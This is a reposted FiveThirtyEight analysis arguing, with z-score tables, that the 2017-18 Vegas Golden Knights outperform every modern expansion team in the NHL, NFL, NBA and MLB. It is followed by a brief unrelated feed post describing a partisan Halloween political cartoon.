Constructed as a Frankenstein’s monster of unwanted parts from the rest of the league, a new club is usually very bad indeed. In a franchise’s first season, merely being “competitive” — code for losing but keeping things close most nights — is an admirable goal. And going into this season, there were plenty of people who had trouble seeing the Knights even reaching that modest level of success. Most outlets picked Vegas to finish either last or next-to-last in the Pacific Division.

That was a reasonable expectation based on the past performance of first-year clubs. Our own analysis found that Vegas had dredged more talent out of the expansion-draft pool than normal — but that was just supposed to mean the Knights would exceed historical expectations. It didn’t mean we thought they’d make the playoffs, much less that they’d contend for the Stanley Cup.

So far this season, however, Vegas has picked up 73 percent of the maximum number of points in its games and outscored its opponents by 0.7 goals per game. To compare those marks across NHL seasons, we converted them to z-scores, or the number of standard deviations they sat above or below league average. (This helps us account for changes in the league’s spread of talent over time and allows us to make comparisons between different sports — which will come in handy later.) In both categories, Vegas’s z-scores are easily the top marks for an NHL expansion team since the league blew up the Original Six and added six new teams in 1967-68:1

Vegas is destroying its NHL expansion competitors

Best z-scores (standard deviations relative to average) for point percentage and goals per game differential, NHL expansion teams (1968-2018)

Point percentage YEAR TEAM POINT % – Z-SCORE 1 2018 Vegas Golden Knights 72.6 % +1.73 2 1994 Florida Panthers 49.4 -0.06 3 1968 Philadelphia Flyers 49.3 -0.08 4 1968 Los Angeles Kings 48.7 -0.16 5 1968 St. Louis Blues 47.3 -0.32 6 1968 Minnesota North Stars 46.6 -0.40 7 1968 Pittsburgh Penguins 45.3 -0.57 8 1973 Atlanta Flames 41.7 -0.57 9 1971 Buffalo Sabres 40.4 -0.65 10 1994 Mighty Ducks of Anaheim 42.3 -0.76 Goal differential YEAR TEAM GPG DIFF. – Z-SCORE 1 2018 Vegas Golden Knights +0.7 +1.28 2 1994 Florida Panthers +0.0 0.00 3 1968 Philadelphia Flyers -0.1 -0.15 4 1968 St. Louis Blues -0.2 -0.36 5 1994 Mighty Ducks of Anaheim -0.3 -0.37 6 1968 Pittsburgh Penguins -0.3 -0.54 7 1973 Atlanta Flames -0.6 -0.58 8 1968 Los Angeles Kings -0.3 -0.62 9 1971 Vancouver Canucks -0.9 -0.77 10 1971 Buffalo Sabres -1.0 -0.85

Full-season statistics are used for all teams except Vegas.

Source: Hockey-Reference.com

The Florida Panthers used to be the model for a successful NHL expansion team. Florida was more than merely competitive in 1993-94 — it finished one win shy of a .500 record and scored exactly as many goals as it allowed. Then, with the good core of talent they had picked up in the expansion draft, the Panthers made the Stanley Cup final three seasons into the franchise’s existence. Before Vegas came along, that was the gold standard for brand-new clubs: solid in the first year, outright good within a couple seasons. But the Knights’ debut has flipped those expectations on their head.

(Yes, it should be noted that the 1967-68 St. Louis Blues made the Cup final in their first season. But that was solely because the NHL dropped all six of its new teams into the same division, the winner of which had to make the final. Every team in the new West division, which housed all the expansion clubs, had a negative goal differential during the regular season, but someone had to win it — and the Blues were that team. They were also swept by the mighty Montreal Canadiens when they played for the Cup.)2

Vegas’s season becomes even more impressive when you compare its z-scores to those of the top expansion teams from other sports. No modern MLB expansion club finished a season any better than the 70-win 1961 Los Angeles Angels; no debut NBA team ever topped the 33 wins of the 1967 Chicago Bulls; no NFL expansion team could beat the 7-9 Carolina Panthers from 1995. Hockey does tend to see its teams’ records more tightly bunched than in such sports as football and basketball, but even after adjusting for that with our z-scores, the Golden Knights’ current season blows away any would-be challenger from the NFL, NBA or MLB since the early 1960s:

Vegas beats other sports’ expansion teams, too

How the Vegas Golden Knights stack up against top expansion teams in each league by z-score* of winning percentage, 1961-2018

Vegas vs. MLB expansion teams Score Differential Win percentage Year Team Value Z-Score Value Z-Score 2018 Vegas Golden Knights +0.7 +1.3 72.6% +1.7 1961 Los Angeles Angels -0.3 -0.3 43.5 -0.7 1969 Kansas City Royals -0.6 -0.8 42.6 -0.8 1962 Houston Colt .45’s -0.8 -1.0 40.0 -1.0 1969 Seattle Pilots -1.0 -1.3 39.5 -1.1 1993 Colorado Rockies -1.3 -2.1 41.4 -1.2 Vegas vs. NBA expansion teams Score Differential Win percentage Year Team Value Z-Score Value Z-Score 2018 Vegas Golden Knights +0.7 +1.3 72.6% +1.7 1967 Chicago Bulls -3.7 -0.7 40.7 -0.5 1971 Portland Trail Blazers -4.5 -0.9 35.4 -1.0 1969 Milwaukee Bucks -5.1 -1.1 32.9 -1.1 1968 Seattle SuperSonics -6.5 -1.3 28.0 -1.3 1990 Minnesota Timberwolves -4.2 -0.9 26.8 -1.3 Vegas vs. NFL expansion teams Score Differential Win percentage Year Team Value Z-Score Value Z-Score 2018 Vegas Golden Knights +0.7 +1.3 72.6% +1.7 1995 Carolina Panthers -2.3 -0.4 43.8 -0.4 1968 Cincinnati Bengals -8.1 -0.8 21.4 -1.1 1967 New Orleans Saints -10.4 -1.2 21.4 -1.3 1961 Minnesota Vikings -8.7 -0.9 21.4 -1.3 1966 Miami Dolphins -10.6 -1.2 21.4 -1.4

*Z-score is the number of standard deviations above/below average, relative to the overall league that season.

Sources: Baseball-Reference.com, Basketball-Reference.com, Pro-Football-Reference.com

One thing that jumps out is that many NHL expansion teams had better z-scores than the best expansion teams in the other sports. But why is it so much easier to build a strong NHL expansion team (relative to the league) than in the other Big Four North American sports? I don’t have a great explanation.

Hockey is the sport with the least reliable individual stats — while scouts’ eye tests can be swayed by recency and other biases — so it may be that the caliber of players left available in the expansion draft is higher than in other sports. Or perhaps the outsize value of goaltending means one good pick between the pipes is enough to carry a team of talent-strapped skaters to respectability. Or maybe good coaching deserves more credit than it sometimes gets around the league. Whatever the reason, expansion teams have done better on ice in general, even before Vegas started to blow the doors off the league.

We know that, in the NHL, it takes a lot of games to tell who’s good and who’s bad — which is why even a hot half-season can turn cold overnight. For Vegas, the heat has been generated by MVP-candidate seasons from the likes of William Karlsson and Jonathan Marchessault and a near Vezina-worthy performance from Marc-Andre Fleury — all players who were considered expendable as recently as seven months ago. Peeking under the hood, the Knights’ ratio of shots taken to shots allowed at even-strength is nothing special, even after adjusting for score effects and other factors. And let’s face it: Few teams can sustain this pace for an entire season: Of the 24 teams with at least 60 points in their first 42 games since 2005-06,3 only one (last year’s Capitals) had a second-half point percentage as good as it did in the first half of the season.

So it would be logical to assume that a second-half regression could be lurking around the corner for the Golden Knights. But the advanced stats don’t suggest that Vegas has been particularly lucky. In terms of expected goals (which measures where a team’s chances come from in addition to their volume), the Knights have the ninth-best ratio in the league.

Regression or no regression, various projection systems consider the Knights all but a lock to make the playoffs, which would make Vegas the first expansion team to claim that honor since the 1968 season’s standings guaranteed that four new clubs would qualify. Even the in-town sportsbooks are paying attention to the possibility of playoff action in the desert: The Knights are currently tied for the second-best Stanley Cup odds of any team in the league.

For an expansion team, all of this seemed unthinkable going into the season. New franchises aren’t supposed to be instant contenders. They’re supposed to struggle, to require years of building before achieving this kind of success. Vegas clearly doesn’t care about any of that. And now we have an entirely new yardstick with which to compare every other expansion club that comes along in the future, no matter the sport.

from News About Sports https://fivethirtyeight.com/features/vegas-has-the-best-expansion-team-in-the-history-of-pro-sports-and-its-not-close/

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everettwilkinson · 7 years

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Our annual cartoon offers a potpourri of twits and treats.

It features creepy characters such as a McCain-o-Lantern and Obama as a happy undertaker. He enjoys dancing on a grave of deeply buried virtues. Obama’s evil jig of socialism could summon the spirit of Karl Marx himself.

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Last, and least…Frederica Wilson comes as herself. An “empty barrel” of Halloween fun.

—Happy Halloween from the Garrison family!